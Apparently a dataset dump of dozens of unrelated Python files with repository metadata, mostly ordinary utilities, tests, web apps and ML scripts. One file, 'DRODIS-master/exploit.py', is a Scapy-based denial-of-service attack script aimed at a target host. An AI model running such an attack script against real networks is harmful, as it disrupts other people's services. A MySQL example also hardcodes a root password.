] | null | null | null | skripte/python/edit_tools/abgleich_praefixe.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
] | null | null | null | skripte/python/edit_tools/abgleich_praefixe.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf8 -*-
# :Copyright: © 2014 Günter Milde.
# Released without warranty under the terms of the
# GNU General Public License (v. 2 or later)
# :Id: $Id: $
# Abgleich der Trennstellen zwischen Woertern mit unterschiedlichem Präfix
# ===========================... | 28.240506 | 110 | 0.588749 |
5b047d0f9b73369e240b0868167cbe8f513148b8 | 33,558 | py | Python | plugins/tff_backend/consts/kyc.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | null | null | null | plugins/tff_backend/consts/kyc.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 178 | 2017-08-02T12:58:06.000Z | 2017-12-20T15:01:12.000Z | plugins/tff_backend/consts/kyc.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 2 | 2018-01-10T10:43:12.000Z | 2018-03-18T10:42:23.000Z | # coding=utf-8
unsupported_countries = ['CHN', 'KOR', 'PRK', 'SGP']
# import pycountry
# country_choices = sorted(
# filter(lambda c: c['value'] not in unsupported_countries,
# map(lambda country: {'value': country.alpha_3, 'label': country.name}, pycountry.countries)),
# key=lambda c: c['label'])
... | 46.803347 | 161 | 0.492222 |
82929746d509a0b7d00bab5153524842edee1398 | 16,263 | py | Python | pypi_installer/sbtab/misc.py | derHahn/SBtab | da998eacc49f7f29d8168be366eb0c211c3adb5f | [
"MIT"
] | 4 | 2015-02-20T09:20:10.000Z | 2018-02-05T10:54:10.000Z | pypi_installer/sbtab/misc.py | tlubitz/SBtab | da998eacc49f7f29d8168be366eb0c211c3adb5f | [
"MIT"
] | 80 | 2018-04-13T13:46:24.000Z | 2022-02-16T16:01:46.000Z | python/misc.py | tlubitz/SBtab | da998eacc49f7f29d8168be366eb0c211c3adb5f | [
"MIT"
] | 6 | 2018-06-06T19:55:32.000Z | 2021-09-30T15:16:40.000Z | #!/usr/bin/python
'''
A collection of useful tools and functions for the manipulation of SBtab tables and SBtab documents.
'''
import re
import string
import libsbml
import numpy
import scipy
import scipy.linalg
import scipy.optimize
import random
import copy
import math
import os
try: from . import SBtab
except: impo... | 31.275 | 226 | 0.550821 |
7d71b3969a434f9775b23586842ba91eec7e4839 | 5,767 | py | Python | frappe-bench/env/lib/python2.7/site-packages/gocardless_pro/services/mandates_service.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/env/lib/python2.7/site-packages/gocardless_pro/services/mandates_service.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/env/lib/python2.7/site-packages/gocardless_pro/services/mandates_service.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # WARNING: Do not edit by hand, this file was generated by Crank:
#
# https://github.com/gocardless/crank
#
from . import base_service
from .. import resources
from ..paginator import Paginator
from .. import errors
class MandatesService(base_service.BaseService):
"""Service class that provides access to the ma... | 31.513661 | 79 | 0.579331 |
81bbfb8de016fa992a338e360a7654a7df4d7392 | 678 | py | Python | books/PythonCleanCode/ch8_unittest/mock_2.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonCleanCode/ch8_unittest/mock_2.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | books/PythonCleanCode/ch8_unittest/mock_2.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | """Clean Code in Python - Chapter 8: Unit Testing
> Mock Objects
"""
from datetime import datetime
import requests
from constants import STATUS_ENDPOINT
class BuildStatus:
"""The CI status of a pull request."""
@staticmethod
def build_date() -> str:
return datetime.utcnow().iso... | 23.37931 | 69 | 0.613569 |
c4b0698453c4f4f8a98f9f8c8194ac473f11d589 | 585 | py | Python | BITs/2014/Baybulatova_K_V/task5_3.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | BITs/2014/Baybulatova_K_V/task5_3.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | BITs/2014/Baybulatova_K_V/task5_3.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | #Задача 4. Вариант 3.
#Программа, которая при запуске случайным образом отображала название одного из цветов радуги
#Байбулатова К.В.
#14.03.2016
import random
Один="Красный"
Два="Оранжевый"
Три="Желтый"
Четыре="Зеленый"
Пять="Голубой"
Шесть="Cиний"
Семь="Фиолетовый"
print("Программа случайным образом отображает на... | 18.28125 | 94 | 0.721368 |
6ff21c90cf8ce4ee4905d144c0ff712198974b22 | 12,550 | py | Python | MDDocGUI.py | Berni1557/MDDoc | 06dd3cae302e6f125ebfbb2fc513bb754d72f07d | [
"BSD-3-Clause"
] | null | null | null | MDDocGUI.py | Berni1557/MDDoc | 06dd3cae302e6f125ebfbb2fc513bb754d72f07d | [
"BSD-3-Clause"
] | null | null | null | MDDocGUI.py | Berni1557/MDDoc | 06dd3cae302e6f125ebfbb2fc513bb754d72f07d | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python3
# MDDocGUI
import sys
import os
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtCore import pyqtSlot
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QWidget, QCheckBox, QApplication, QMainWindow, QFileDialog, QTableView, QMessageBox
from PyQt5.uic import loadUi
import ... | 37.57485 | 112 | 0.630996 |
d25d8eab7f76447dc37780ca8e20e0c1e086535b | 8,735 | py | Python | tests/onegov/gazette/test_views_dashboard.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/gazette/test_views_dashboard.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/gazette/test_views_dashboard.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from freezegun import freeze_time
from tests.onegov.gazette.common import login_editor_1
from tests.onegov.gazette.common import login_editor_2
from tests.onegov.gazette.common import login_editor_3
from tests.onegov.gazette.common import login_publisher
from webtest import TestApp as Client
def test_view_dashboard(g... | 38.480176 | 78 | 0.622553 |
547a431c9460607160d206126909e094e29cda65 | 1,089 | py | Python | 0-notes/job-search/Cracking the Coding Interview/C04TreesGraphs/python/4.4-answer.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 0-notes/job-search/Cracking the Coding Interview/C04TreesGraphs/python/4.4-answer.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 0-notes/job-search/Cracking the Coding Interview/C04TreesGraphs/python/4.4-answer.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | # 4.4 Check Balanced
# Implement a function to check if a binary tree is balanced.
# For the purposes of this question, a balanced tree is defined to be a
# tree such that the heights of the two subtrees of any node never
# differ by more than one.
class BinarySearchTree:
def __init__(self, value):
... | 34.03125 | 75 | 0.615243 |
3fbe738e6f6f69c10bda1e7a500914dd5e7afa6d | 754 | py | Python | lanz/migrations/0004_auto_20200918_1813.py | linemax/lanz | c7f6eb150c260f088faa8255f0b15fcc9435c4af | [
"Apache-2.0"
] | null | null | null | lanz/migrations/0004_auto_20200918_1813.py | linemax/lanz | c7f6eb150c260f088faa8255f0b15fcc9435c4af | [
"Apache-2.0"
] | null | null | null | lanz/migrations/0004_auto_20200918_1813.py | linemax/lanz | c7f6eb150c260f088faa8255f0b15fcc9435c4af | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.1.1 on 2020-09-18 18:13
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lanz', '0003_auto_20200918_1757'),
]
operations = [
migrations.RemoveField(
model_name='post',
name='b1',
),... | 21.542857 | 47 | 0.498674 |
4d017a53c5189eb0cf6cc43e31676d63a38a9bf5 | 9,641 | py | Python | test/test_npu/test_network_ops/test_remainder.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_remainder.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_remainder.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 42.100437 | 86 | 0.641842 |
4d76fb6872a48ce7fed9584aa75d01c7e1416588 | 2,467 | py | Python | mysql/mysql.py | xuyifeiCoco/python | 83af27b3baf1caf157b330c580f356a94095e44d | [
"MIT"
] | null | null | null | mysql/mysql.py | xuyifeiCoco/python | 83af27b3baf1caf157b330c580f356a94095e44d | [
"MIT"
] | null | null | null | mysql/mysql.py | xuyifeiCoco/python | 83af27b3baf1caf157b330c580f356a94095e44d | [
"MIT"
] | null | null | null | import MySQLdb
class MysqlSearch(object):
def __init__(self):
self.get_coon()
def get_coon(self):
try:
self.coon = MySQLdb.connect(
host='127.0.0.1',
user='root',
passwd='204534abc',
db='movie',
port=3... | 27.719101 | 95 | 0.501419 |
4da1bbc69e9f6fe80b9da5bd0ab1eea442c0aea7 | 16,461 | py | Python | game.py | I4-Projektseminar-HHU-2016/seminar-project-marionline03 | ec2b2d2b588baa647c7a5e542e1d20a39cd0fc09 | [
"CC0-1.0"
] | null | null | null | game.py | I4-Projektseminar-HHU-2016/seminar-project-marionline03 | ec2b2d2b588baa647c7a5e542e1d20a39cd0fc09 | [
"CC0-1.0"
] | null | null | null | game.py | I4-Projektseminar-HHU-2016/seminar-project-marionline03 | ec2b2d2b588baa647c7a5e542e1d20a39cd0fc09 | [
"CC0-1.0"
] | null | null | null | # -*- coding: utf-8 -*-
from bottle import route, run, template, get, post, request, response, error, static_file, redirect
from hidden_server_data import PORT, HOST, STATIC_PATH
from voc import read_everything_from_tabel_voc, alter_tabel_voc_where, read_value_from_tabel_voc
from player import read_last_question_from_p... | 46.631728 | 191 | 0.685621 |
4dcd7fe357ddd52d12561b6c97ba9603d568c9ef | 284 | py | Python | Wizard.py | Mathias-Mo/Zauberwald_v05 | 7c67b7ed086feb8e3897f4b6c2122b8b66256331 | [
"MIT"
] | null | null | null | Wizard.py | Mathias-Mo/Zauberwald_v05 | 7c67b7ed086feb8e3897f4b6c2122b8b66256331 | [
"MIT"
] | null | null | null | Wizard.py | Mathias-Mo/Zauberwald_v05 | 7c67b7ed086feb8e3897f4b6c2122b8b66256331 | [
"MIT"
] | null | null | null | from MageClass import MageClass
class Wizard(MageClass):
#
def __init__(self, params):
super().__init__(params)
# ######################### Methoden ###############################
# ######################### Getter Setter ###############################
| 21.846154 | 77 | 0.380282 |
4dfa66152ee2ef215176cea4e38b2da40d91043e | 950 | py | Python | Interview Preparation Kits/Interview Preparation Kit/Stacks and Queues/Largest Rectangle/largest_rectangle1.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Interview Preparation Kits/Interview Preparation Kit/Stacks and Queues/Largest Rectangle/largest_rectangle1.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Interview Preparation Kits/Interview Preparation Kit/Stacks and Queues/Largest Rectangle/largest_rectangle1.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
# Complete the largestRectangle function below.
def compute(h, i):
n = len(h)
if n == 1:
return h[0]
p1 = i + 1
p2 = i - 1
total = h[i]
while p1 < n:
if h[p1] >= h[i]:
total += h[i]
... | 17.592593 | 48 | 0.491579 |
12a21f90b174b030e0f2a8535197dfab9f4b8498 | 2,274 | py | Python | src/onegov/election_day/views/election_compound/party_strengths.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/views/election_compound/party_strengths.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/views/election_compound/party_strengths.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.ballot import ElectionCompound
from onegov.core.security import Public
from onegov.election_day import ElectionDayApp
from onegov.election_day.layouts import DefaultLayout
from onegov.election_day.layouts import ElectionCompoundLayout
from onegov.election_day.utils import add_last_modified_header
from onego... | 27.731707 | 76 | 0.733949 |
db384be40e5d2706c42ef27ef46d236a38f64407 | 92 | py | Python | 2015/03/donorschoose-topbooks/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2015/03/donorschoose-topbooks/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2015/03/donorschoose-topbooks/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
COPY_GOOGLE_DOC_KEY = '184BsmfEqhKtdL7k1bS54KRil0AYfFMMwwbWahYDyETA'
| 23 | 68 | 0.847826 |
3f28217e7b3f26ff71d9df8731bc87fdee84969a | 951 | py | Python | setup.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | 1 | 2022-02-02T12:41:06.000Z | 2022-02-02T12:41:06.000Z | setup.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | setup.py | CorrelAid/compgen-ii-cgv | 810a044d6bbe1ce058a359115e3e5fc71a358549 | [
"MIT"
] | null | null | null | import os
from setuptools import setup
# Utility function to read the README file.
# Used for the long_description. It's nice, because now 1) we have a top level
# README file and 2) it's easier to type in the README file than to put a raw
# string in below ...
def read(fname):
return open(os.path.join(os.path.... | 23.775 | 98 | 0.599369 |
3f3971b90ab78ff55ba059d5752173f736c7d42c | 132 | py | Python | skimind/ticket/urls.py | NathBangwa/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 1 | 2020-11-13T18:30:47.000Z | 2020-11-13T18:30:47.000Z | skimind/ticket/urls.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | 5 | 2020-11-13T18:16:48.000Z | 2021-09-08T01:04:59.000Z | skimind/ticket/urls.py | nathanbangwa243/SkimindFoot | 8ae3a00074c56dd981fbfdab30e29898ddcaf6be | [
"MIT"
] | null | null | null | from django.urls import path
from .views import HomeView
urlpatterns = [
path("", HomeView.as_view(), name="list_ticket"),
]
| 14.666667 | 53 | 0.69697 |
830f9e50c14804ee49a6288a2e1baf3c7cfcd1c2 | 598 | py | Python | src/comex_stat/assets/admin.py | mdicgovbr/2018.2-ComexStat | 9eb339e6995585061317d41eabed99b569472806 | [
"MIT"
] | null | null | null | src/comex_stat/assets/admin.py | mdicgovbr/2018.2-ComexStat | 9eb339e6995585061317d41eabed99b569472806 | [
"MIT"
] | null | null | null | src/comex_stat/assets/admin.py | mdicgovbr/2018.2-ComexStat | 9eb339e6995585061317d41eabed99b569472806 | [
"MIT"
] | null | null | null | from django.contrib import admin
from comex_stat.assets.models import (AssetImportFacts, AssetExportFacts,
TradeBlocs, Country, FederativeUnit,
Transportation, Urf, NCM, CUCI, CGCE, SH)
admin.site.register(AssetExportFacts)
admin.site.register... | 35.176471 | 79 | 0.72408 |
55e7315a954481de772db5015636748286738242 | 3,155 | py | Python | src/train_key_points.py | tuanminh3395/gr-bone-age | 248c929d75e9d88dc9fa102ea11f4eae1e0f3157 | [
"MIT"
] | null | null | null | src/train_key_points.py | tuanminh3395/gr-bone-age | 248c929d75e9d88dc9fa102ea11f4eae1e0f3157 | [
"MIT"
] | null | null | null | src/train_key_points.py | tuanminh3395/gr-bone-age | 248c929d75e9d88dc9fa102ea11f4eae1e0f3157 | [
"MIT"
] | null | null | null | from keras.models import Model
from keras.layers import Input, Conv2D, Dense, Dropout, MaxPooling2D, Activation, BatchNormalization, Flatten
from data_key_points import load_train
from keras.callbacks import ModelCheckpoint, EarlyStopping
import numpy as np
from keras import backend as K
from skimage.transform import r... | 29.764151 | 109 | 0.730903 |
363efb3b0b4460e38897a09dd1e0c2480fc00ce8 | 7,962 | py | Python | tests/test_marktlokation.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | tests/test_marktlokation.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | tests/test_marktlokation.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | import json
from typing import Tuple
import pytest # type:ignore[import]
from bo4e.bo.geschaeftspartner import Geschaeftspartner
from bo4e.bo.marktlokation import Marktlokation, MarktlokationSchema
from bo4e.com.adresse import Adresse
from bo4e.enum.anrede import Anrede
from bo4e.enum.bilanzierungsmethode import Bil... | 38.463768 | 110 | 0.603994 |
36c6b9b9f5508689506a24b63622298370cc585e | 421 | py | Python | Language Proficiency/Python/Strings/Find a String/find_string.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Language Proficiency/Python/Strings/Find a String/find_string.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Language Proficiency/Python/Strings/Find a String/find_string.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
def count_substring(string, sub_string):
str_len = len(string)
sub_len = len(sub_string)
count = 0
for i in range(str_len-sub_len+1):
if sub_string == string[i:(i+sub_len)]:
count += 1
return count
if __name__ == '__main__':
string = input().strip()... | 20.047619 | 47 | 0.622328 |
7fd137b0816fa933c4fd875cc0c11f84c64dd273 | 897 | py | Python | src/python3_learn_video/EasyGui.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/python3_learn_video/EasyGui.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | src/python3_learn_video/EasyGui.py | HuangHuaBingZiGe/GitHub-Demo | f3710f73b0828ef500343932d46c61d3b1e04ba9 | [
"Apache-2.0"
] | null | null | null | """
EasyGui官网:
http://easygui.sourceforge.net
官方教学文档:
easygui-docs-0.96\tutorial\index.html
翻译改编的教学文档:
http://bbs.fishc.com/thread-46069-1-1.html
"""
"""
导入方式1:
import easygui
easygui.msgbox('嗨,你好')
"""
"""
导入方式2:
from easygui import *
msgbox('嗨,小美女')
"""
"""
导入方式3:推荐方式
import easygui as g
g.msgbox('嗨,小boy')
"""
... | 16.309091 | 60 | 0.616499 |
3d34e73655854fc6e2063ffffd6778e26cba36f6 | 11,813 | py | Python | app/appwrite-functions/CreateDBCollection/.appwrite/appwrite/services/functions.py | MME-Aufgaben-im-Winter-2021/projects-pagemuse-mme-2021-22 | 9f5fa9bc2dcf27520dbebde834f652188362338b | [
"MIT"
] | null | null | null | app/appwrite-functions/CreateDBCollection/.appwrite/appwrite/services/functions.py | MME-Aufgaben-im-Winter-2021/projects-pagemuse-mme-2021-22 | 9f5fa9bc2dcf27520dbebde834f652188362338b | [
"MIT"
] | 27 | 2022-02-24T11:53:35.000Z | 2022-03-13T08:42:02.000Z | app/appwrite-functions/UpdateDBCollection/.appwrite/appwrite/services/functions.py | MME-Aufgaben-im-Winter-2021/projects-pagemuse-mme-2021-22 | 9f5fa9bc2dcf27520dbebde834f652188362338b | [
"MIT"
] | null | null | null | from ..service import Service
from ..exception import AppwriteException
class Functions(Service):
def __init__(self, client):
super(Functions, self).__init__(client)
def list(self, search = None, limit = None, offset = None, cursor = None, cursor_direction = None, order_type = None):
"""List ... | 32.188011 | 147 | 0.574875 |
62f31c94abc4d349173982411e04fe55b17f315f | 300 | py | Python | abstract.py | vasmedvedev/automation | 98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95 | [
"MIT"
] | null | null | null | abstract.py | vasmedvedev/automation | 98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95 | [
"MIT"
] | null | null | null | abstract.py | vasmedvedev/automation | 98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95 | [
"MIT"
] | null | null | null | class Proxy(object):
"""
Wrapper aroung xmlrpclib.ServerProxy with platform API methods
"""
def __init__(self, server_proxy):
"""
:param server_proxy: XMLRPC server proxy
:type server_proxy: xmlrpclib.ServerProxy
"""
self.proxy = server_proxy
| 25 | 66 | 0.63 |
c53c0aba8a6a7541a53f07428c5d596f307277d6 | 6,124 | py | Python | tesis4.py | gasa1296/Tesis | c8dd9c86c447a1bf31fd5a95336e6c3ed8be2e5f | [
"MIT"
] | 1 | 2019-05-16T18:02:58.000Z | 2019-05-16T18:02:58.000Z | tesis4.py | gasa1296/Tesis | c8dd9c86c447a1bf31fd5a95336e6c3ed8be2e5f | [
"MIT"
] | null | null | null | tesis4.py | gasa1296/Tesis | c8dd9c86c447a1bf31fd5a95336e6c3ed8be2e5f | [
"MIT"
] | null | null | null | from multiprocessing import Process, Queue
import mysql.connector
import cv2
import numpy as np
from datetime import datetime
def run_camara(direccion, arreglo_jugadores, cola, indice_proceso_actual):
cap = cv2.VideoCapture(direccion)
jugador_actual = None
continuar1 = True
if cap.isOpened():
while continuar... | 28.351852 | 139 | 0.677498 |
f31d91e02e5b6fb235b2d38c055e537550156c98 | 4,071 | py | Python | Liquid-optimizer/train.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | 2 | 2021-08-30T14:12:09.000Z | 2022-01-20T02:14:22.000Z | Liquid-optimizer/train.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | null | null | null | Liquid-optimizer/train.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | null | null | null | from pandas import DataFrame
from pandas import Series
from pandas import concat
from pandas import read_csv
from sklearn.metrics import mean_squared_error
from sklearn.preprocessing import MinMaxScaler
from keras.models import Sequential
from keras.layers import Dense
from keras.layers import LSTM
from math i... | 30.380597 | 98 | 0.715058 |
a76c3927cd5975e30700ca6ba913251d806750cb | 3,177 | py | Python | tests/onegov/org/test_export.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/org/test_export.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/org/test_export.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from datetime import date
from onegov.pay import PaymentCollection
from tests.onegov.org.conftest import create_org_app
from onegov.core.security import Secret
from onegov.org.app import OrgApp
from onegov.org.forms import ExportForm
from onegov.org.models import Export
from tests.shared import Client as BaseClient
i... | 26.040984 | 67 | 0.616934 |
ac267a92b3357976eee5e06c27cd9a69b451a73f | 1,165 | py | Python | DRODIS-master/exploit.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | DRODIS-master/exploit.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | DRODIS-master/exploit.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | #Sourabh Mishra
from scapy.all import *
from time import sleep
from os import geteuid
from sys import argv, exit
from argparse import ArgumentParser
def exploit(source, target, iface="eth0"):
"""DRODIS ATTACK"""
socket = conf.L2socket(iface=iface)
packets=[]
for i in xrange(1,100):
packets.app... | 32.361111 | 89 | 0.653219 |
ac71a5960101b5ca8d89e0f01728f9250900ece7 | 7,118 | py | Python | src/data_science/data_science/data_processing/hdf5.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | src/data_science/data_science/data_processing/hdf5.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | src/data_science/data_science/data_processing/hdf5.py | viclule/api_models_deployment_framework | 7595cf0b4f3e277925b968014102d7561547bcd4 | [
"MIT"
] | null | null | null | # Functionality to read and store in HDF5 files
import h5py
import pandas as pd
import random
import string
import os
import datetime
import json
from data_science.data_transfer.data_api import Dataset
class HDF5Dataset:
def __init__(self, file_name, file_path, dataset_id,
random_string_in_name... | 33.575472 | 79 | 0.570666 |
5a48b1ea26536fe6a2a5b161351bc7d3f5441ebc | 1,029 | py | Python | p02-releaseManager/sns-sub/sns-ansible.py | JoseIbanez/fastapi | ac4b74f23315021042efd88e192aa39d8481de53 | [
"MIT"
] | null | null | null | p02-releaseManager/sns-sub/sns-ansible.py | JoseIbanez/fastapi | ac4b74f23315021042efd88e192aa39d8481de53 | [
"MIT"
] | null | null | null | p02-releaseManager/sns-sub/sns-ansible.py | JoseIbanez/fastapi | ac4b74f23315021042efd88e192aa39d8481de53 | [
"MIT"
] | null | null | null |
import os
import ansible_runner
import boto3
def read_from_sqs_queue():
#queue_url = os.environ["sqs_queue_url"]
sqs_client = boto3.client(
"sqs",
region_name="eu-west-1",
)
response = sqs_client.receive_message(
QueueUrl=queue_url,
MaxNumberOfMessages=1,
WaitT... | 19.788462 | 92 | 0.643343 |
5a554b7021392d221930a7b66dde0f050d7f4719 | 8,247 | py | Python | 01_mapping.py | melandresen/Ich-Daten | 87362aa8060865d2d33443054297214bd80526fe | [
"Apache-2.0"
] | null | null | null | 01_mapping.py | melandresen/Ich-Daten | 87362aa8060865d2d33443054297214bd80526fe | [
"Apache-2.0"
] | null | null | null | 01_mapping.py | melandresen/Ich-Daten | 87362aa8060865d2d33443054297214bd80526fe | [
"Apache-2.0"
] | null | null | null | import re
import pandas as pd
import numpy as np
def fix_annotator1(data_table):
data_table.loc[data_table.Text == "BA-Twi-in-Kirchen_15-01-19_10-08-86_SB11", "StartChar"] = (
data_table["StartChar"] + 89
)
data_table.loc[
data_table.Text == "HA-Fachdidaktik-Teil2_13-03-14_26-06-32_SB02",... | 38.180556 | 159 | 0.637565 |
0cca52a0fc4667bbf91fae743e2595875afb3ad4 | 616 | py | Python | challenges/improperFractionToMixed/python3/improperFractionToMixed.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 5 | 2020-05-21T03:02:34.000Z | 2021-09-06T04:24:26.000Z | challenges/improperFractionToMixed/python3/improperFractionToMixed.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 6 | 2019-04-24T03:39:26.000Z | 2019-05-03T02:10:59.000Z | challenges/improperFractionToMixed/python3/improperFractionToMixed.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 1 | 2021-09-06T04:24:27.000Z | 2021-09-06T04:24:27.000Z | import math
def improperFractionToMixed(a):
return [math.floor(a[0]/a[1]), a[0]%a[1], a[1]]
if __name__ == '__main__':
input0 = [[7, 2], [10, 3]]
